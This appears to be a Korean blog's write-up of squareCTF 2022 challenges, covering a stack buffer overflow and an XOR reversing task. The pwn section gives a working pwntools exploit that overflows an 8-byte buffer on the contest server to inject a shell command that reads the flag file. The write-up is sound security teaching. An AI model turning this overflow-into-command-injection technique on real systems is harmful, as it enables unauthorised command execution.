squareCTF writeup

2022. 12. 1. 17:00CTF

728x90

squareCTF writeup

1. Pulse Check

문제에 플래그가 존재한다.

2. EZ pwn 1

간단한 overflow 문제였다.

source를 보면 way_too_small_input_buf의 값이 no\n 가 아니라면 ls 명령을 실행해주는 프로그램인 것을 알 수 있는데, way_too_small_input_buf 변수의 크기가 8바이트임에도 불구하고, read 함수에서 24바이트를 입력받아 오버플로우 공격이 가능한 것을 알 수 있다.

그러므로 8byte를 임의의 값으로 채워주고, command를 내가 원하는 명령어로 채워주면 플래그를 얻을 수 있을 것 같다.

공격 payload

from pwn import *

r = remote('chals.2022.squarectf.com', 4100)
elf = ELF('./ez-pwn-1')

payload = ''
payload += 'a' * 8 + 'cat the*/flag*'

r.send(payload)
r.interactive()

 

3. EZ RE 1

이 문제는 flag_arr의 값을 buf의 값과 xor하여 암호화한 값을 입력하면 플래그를 주는 문제

main함수를 보면 키를 묻고 있는데, 키를 입력하면 입력한 키를 복호화 로직을 통해서 평문을 보여주는 것 같다.

main 함수

복호화 로직을 보면 flag_arr[i + j]와 buf[j]를 XOR 하여 v9[i + j]에 저장하는 것을 볼 수 있다.

복호화 로직

이를 이용해서 플래그를 얻기 위한 키를 찾는 프로그램을 작성했다.

buf = 'flag{'
flag_arr = [10, 3, 13, 31, 31, 24, 7, 9, 39, 2, 25, 1, 15, 12, 13, 3, 1, 51, 22, 5, 1, 10, 31, 39, 5, 30, 10, 51, 25, 59, 15, 0, 1, 21, 17, 24, 14, 24, 17, 18, 9, 48, 28, 10, 11, 28, 10, 30, 12, 29, 51, 5, 3, 19, 1, 51, 8, 9, 12, 59, 5, 27, 17, 0]

result = [0] * 63

for i in range(0, 63, 5):
    j = 0
    while True:
        if j < 5 and i + j != 63:
            result[i + j] = flag_arr[i + j] ^ ord(buf[j])
            j += 1
        else:
            break

for i in result:
    print(chr(i), end='')

이렇게 얻은 키를 프로그램에 입력하면 플래그를 얻을 수 있다.

 

728x90

'CTF' 카테고리의 다른 글

UgraCTF Quals 2023 - Writeup  (0) 2023.01.15
2022 ChristmasCTF Writeup - Programming  (0) 2023.01.01
2022 ChristmasCTF Writeup - Web  (0) 2022.12.31